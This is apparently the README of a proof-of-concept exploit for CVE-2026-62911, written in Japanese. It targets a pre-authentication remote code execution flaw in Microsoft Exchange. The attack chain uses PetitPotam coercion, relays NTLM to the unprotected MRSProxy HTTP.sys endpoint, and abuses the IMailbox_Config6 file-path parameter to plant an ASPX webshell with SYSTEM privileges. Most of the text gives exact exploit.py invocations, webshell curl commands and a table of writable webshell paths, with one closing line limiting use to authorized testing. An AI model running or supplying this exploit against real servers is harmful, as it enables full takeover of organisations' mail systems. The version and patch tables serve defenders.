
CVE-2026-62911 の PoC エクスプロイト: MRSProxy への NTLM リレーを介した Microsoft Exchange の事前認証 RCE で、SYSTEM コマンド実行用の ASPX ウェブシェルを作成します。
Microsoft Exchange Server に対する事前認証 RCE。資格情報は不要です。
Orange Tsai (DEVCORE) 氏は、Pwn2Own Berlin 2026 でこれを 3 つのバグからなるチェーンの一部として使用しました。賞金 $200,000、完全な SYSTEM 権限の奪取です。
Exchange は MailboxReplicationProxyService (MRSProxy) を 2 つのパスで公開しています。そのうちの 1 つは Extended Protection なしで HTTP.sys 上にあります:
| パス | ホスト | 拡張保護 |
|---|---|---|
/EWS/MRSProxy.svc |
| IIS |
| あり。安全。 |
/Microsoft.Exchange.MailboxReplicationService.ProxyService | HTTP.sys | なし。リレー対象。 |
HTTP.sys エンドポイントは Negotiate 認証を受け入れますが、チャネル バインディングを一切チェックしません。ここにマシンアカウントのハッシュをリレーすると、Exchange はあなたをそのマシンとみなします。マシンアカウントは既定で ms-Exch-EPI-Token-Serialization を保持しているため、WCF サービスはフルアクセスを許可します。
内部に入ると、IMailbox_Config6() が filePath パラメータを受け取ります。PstDestinationMailbox.ConfigPst() は、渡したパスに何でも書き込みます。拡張子チェックはありません。IIS ディレクトリを指定して IMailbox_Connect() を呼び出すと、ファイルがディスクに書き込まれます。そのファイルを ASPX ウェブシェルにすれば完了です。
<!-- MSExchangeMailboxReplication.exe.config -->
<binding name="MrsProxyHttpsBinding" receiveTimeout="00:22:00">
<httpsTransport authenticationScheme="Negotiate"
maxReceivedMessageSize="100000000" />
<!-- no extendedProtectionPolicy — that's the bug -->
</binding>
[ServiceContract(SessionMode = SessionMode.Required)]
interface IMailboxReplicationProxyService
{
void ExchangeVersionInformation(
VersionInformation clientVersion,
out VersionInformation serverVersion);
long IMailbox_Config6(
Guid reservationId, Guid primaryMailboxGuid, Guid physicalMailboxGuid,
string filePath, // attacker-controlled, no validation
byte[] partitionHint, Guid mdbGuid, string mdbName,
MailboxType mbxType, int proxyControlFlags, int localMailboxFlags);
void IMailbox_Connect(long mailboxHandle);
// calls PSTSession.Open() — writes file at filePath
}
| 製品 | 脆弱性のあるバージョン | 修正バージョン | KB |
|---|---|---|---|
| Exchange 2016 CU23 | 15.1.2507.72 | 15.1.2507.72 | KB5121576 |
| Exchange 2019 CU14 | 15.2.1544.43 | 15.2.1544.43 | KB5121575 |
| Exchange 2019 CU15 | 15.2.1748.48 | 15.2.1748.48 | KB5121574 |
| Exchange SE RTM | 15.2.2562.45 | 15.2.2562.45 | KB5121573 |
Exchange 2016 は 2025 年 10 月にサポート終了 (EOL) となりました。2026 年 8 月の修正プログラムは Extended Security Updates (ESU) 経由でのみ提供されます。組織が ESU を購入していない場合、パッチは提供されません。
Attacker EX02 (trigger) EX01 (target)
│ │ │
│── PetitPotam (MS-EFSR) ──▶│ │
│ │ │
│◀── NTLM auth (EX02$) ─────│ │
│ │ │
│── relay NTLM ────────────────────────────────────▶│
│ (to MRSProxy HTTP.sys) │
│ │
│── IMailbox_Config6(path=shell.aspx) ─────────────▶│
│── IMailbox_Connect() ────────────────────────────▶│
│ │ file written
│ │
│── GET /aspnet_client/shell.aspx?cmd=whoami ──────▶│
│◀── nt authority\system ────────────────────────────│
5 つのステップ:
EX02 で MS-EFSR (EfsRpcOpenFileRaw) をトリガーします。EX02 はマシンアカウントでこちらに認証してきます。PetitPotam は、未パッチの Exchange に対して認証なしで動作します。
SMB リスナーが EX02$ からの NTLM ネゴシエートを取得します。
それを HTTPS で EX01 の MRSProxy に転送します。このエンドポイントは EPA をチェックしないため、リレーが成立します。マシンアカウントは既に Exchange のシリアル化権限を持っているため、認可も通過します。
WCF 呼び出しを送信します: IMailbox_Config6 に C:\inetpub\wwwroot\aspnet_client\shell.aspx のようなパスを指定し、続けて IMailbox_Connect を呼び出します。Exchange がファイルを書き込みます。
ウェブシェルにアクセスします。これで SYSTEM 権限です。
依存関係をインストール:
pip install impacket pysocks
MRSProxy が公開されているか確認:
python3 exploit.py --check-only \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100
401 レスポンスに Microsoft-HTTPAPI/2.0 と Negotiate が表示されることを確認します。これにより、HTTP.sys エンドポイントが稼働しており、EPA がないことが確認できます。
エクスプロイトを実行:
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100
PetitPotam がターゲット上で認証を必要とする場合:
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100 \
-u jsmith -p 'P@ssw0rd!' -d CONTOSO.COM
SOCKS トンネル経由の場合:
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100 \
--socks 127.0.0.1 --socks-port 10800
別の書き込み場所を選択:
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100 \
--webshell-path 'C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\x.aspx' \
--webshell-url '/owa/auth/x.aspx'
シェルが配置されたことを確認:
python3 exploit.py --verify-only \
-t 192.168.1.10 \
--webshell-url '/aspnet_client/system_web/shell.aspx'
使用:
curl -sk "https://192.168.1.10/aspnet_client/system_web/shell.aspx?cmd=whoami+/all"
curl -sk "https://192.168.1.10/aspnet_client/system_web/shell.aspx?cmd=ipconfig+/all"
| ディスク上のパス | URL | 理由 |
|---|---|---|
C:\inetpub\wwwroot\aspnet_client\system_web\shell.aspx | /aspnet_client/system_web/shell.aspx | IIS の既定のクライアント スクリプト ディレクトリ。通常は書き込み可能で、ASPX を配信します。 |
C:\inetpub\wwwroot\aspnet_client\shell.aspx | /aspnet_client/shell.aspx | 同上。より短いパス。 |
...\V15\FrontEnd\HttpProxy\owa\auth\shell.aspx | /owa/auth/shell.aspx | OWA の認証フォルダ。 |
...\V15\FrontEnd\HttpProxy\ecp\auth\shell.aspx | /ecp/auth/shell.aspx | ECP の認証フォルダ。 |
許可を得たテストのみを対象としています。何かに対して実行する前に、書面による許可を取得してください。